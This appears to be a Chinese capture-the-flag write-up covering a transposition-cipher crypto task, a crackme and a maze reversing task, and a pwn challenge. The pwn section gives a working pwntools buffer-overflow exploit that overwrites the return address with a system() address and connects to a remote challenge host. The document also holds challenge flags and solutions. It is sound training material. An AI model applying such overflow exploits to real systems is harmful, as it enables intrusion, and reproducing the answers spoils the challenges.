Crypro
0x00 你认识我吗?
得到代码分析,这里进行了以11个字符为一组,并在使用sorted()函数打乱了11个字符的顺序。不知道key的其他信息。难道只能爆破?4百万种可能还是算了吧。
from message import plainText
from message import key
pla_len = len(plainText)
key_len = len(key)
print ("plainText length is %d" % pla_len)
print ("key length is %d" % key_len)
pla_matrix = []
for i in range(0,pla_len,key_len):
pla_matrix.append(list(plainText[i:i+key_len]))
ord_key = []
for k in key:
ord_key.append(ord(k))
ord_key = sorted(ord_key)
output_order = []
for i in ord_key:
output_order.append(key.find(chr(i)))
for i in output_order:
for s in pla_matrix:
print s[i]
print "\n"
我们看到密文输出的倒数第二列里有花括号,有 f l a g 的字母,所以简单排布一下,得到flag{You_As 。但是发现解密之后字符不对啊,所以调换一下位置为 sflag{You_A 。然后得到密码表解密。写一个垃圾脚本得到flag。
def decode_srt(a):
key = [7,5,6,1,3,4,0,9,10,2,8]
for i in key:
print(a[i],end="")
a1="yisnkthlhou"
a2='odhknuloawt'
a3='silsithtuco'
a4='thcifnsmren'
a5='figonptyila'
a6='Ya_g{flsAou'
a7='zAgmae_r}in'
decode_srt(a1)
decode_srt(a2)
decode_srt(a3)
decode_srt(a4)
decode_srt(a5)
decode_srt(a6)
decode_srt(a7)
#lthinkyoushouldknowthatthisiscolumnshiftencryptionflagisflag{You_Are_Amazing}
Re
0x00 又是crackme
IDA打开,F5大法。判断V6和v9是否相等。IDA分析太麻烦==
拖进OD。搜索关键字符,找到关键跳转下断点,运行程序随便输入字符,F8单步得到flag.
0x01 re你快乐吗
IDA打开,F5主函数,首先看到反调试,不能用OD,windbg……来调试了,因为我还没有学如何绕过反调试……,继续分析看出这是一道迷宫题。
通过我们输入1,2,3,4来代表走向,如果途中遇到1就失败,最后迷宫出口为99。又因为v11和v10都小于6,否则输入不合法,说明这是一个77的迷宫图。在看到case语句,为1时,v12减7,因为是77的迷宫,所以迷宫的位置就是往上走一格,v1,v11分别表示行号和列号。同理,2代表下,3代表左,4代表右。这里就主要明白它相当于是用一维数组来表示的一个二维数组的位置。然后4*(v12+v8)就是表示的当前位置,判断是否等于1。最后一个if里判断的是最后一个步骤走完了,判断是否为99,如果是则得到flag。
那么把asc_140003350迷宫数组提取出来,找到迷宫路径为2 4 4 1 4 4 4 2 2 2 2 3 3 1 3 3 3 2 2 4 4 2 4 4 4 4
输入路径得到flag。
a = [0x8,0x1,0xe,0xb,0x7,0x10,0x1,
0xb,0xf,0xf,0x1,0x1,0x9,0x1,
0x1,0x1,0x1,0x1,0x1,0xb,0x1,
0xc,0xc,0x8,0xe,0x1,0x8,0x1,
0x8,0x1,0x1,0xc,0x9,0xe,0x1,
0xd,0x8,0xb,0x1,0x1,0x1,0x1,
0x1,0x1,0x9,0xa,0x9,0x9,0x63]
# 1 上 # 2 下 # 3 左 # 4 右
2 4 4 1 4 4 4 2 2 2 2 3 3 1 3 3 3 2 2 4 4 2 4 4 4 4
Pwn
0x00 魔法,为我而存在
IDA打开,分析逻辑,找到溢出点buf
找到系统函数system,所以将buf后面覆盖为system函数地址,得到flag。
exp:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
p = remote('101.71.29.5',10004)
#p = process('./magicc')
sys_addr = 0x080485A7
p.recv()
p.sendline('4')
payload = 'a'* (0x12+4) +p32(sys_addr)
p.recvuntil('You are one step short of success')
p.sendline(payload)
p.interactive()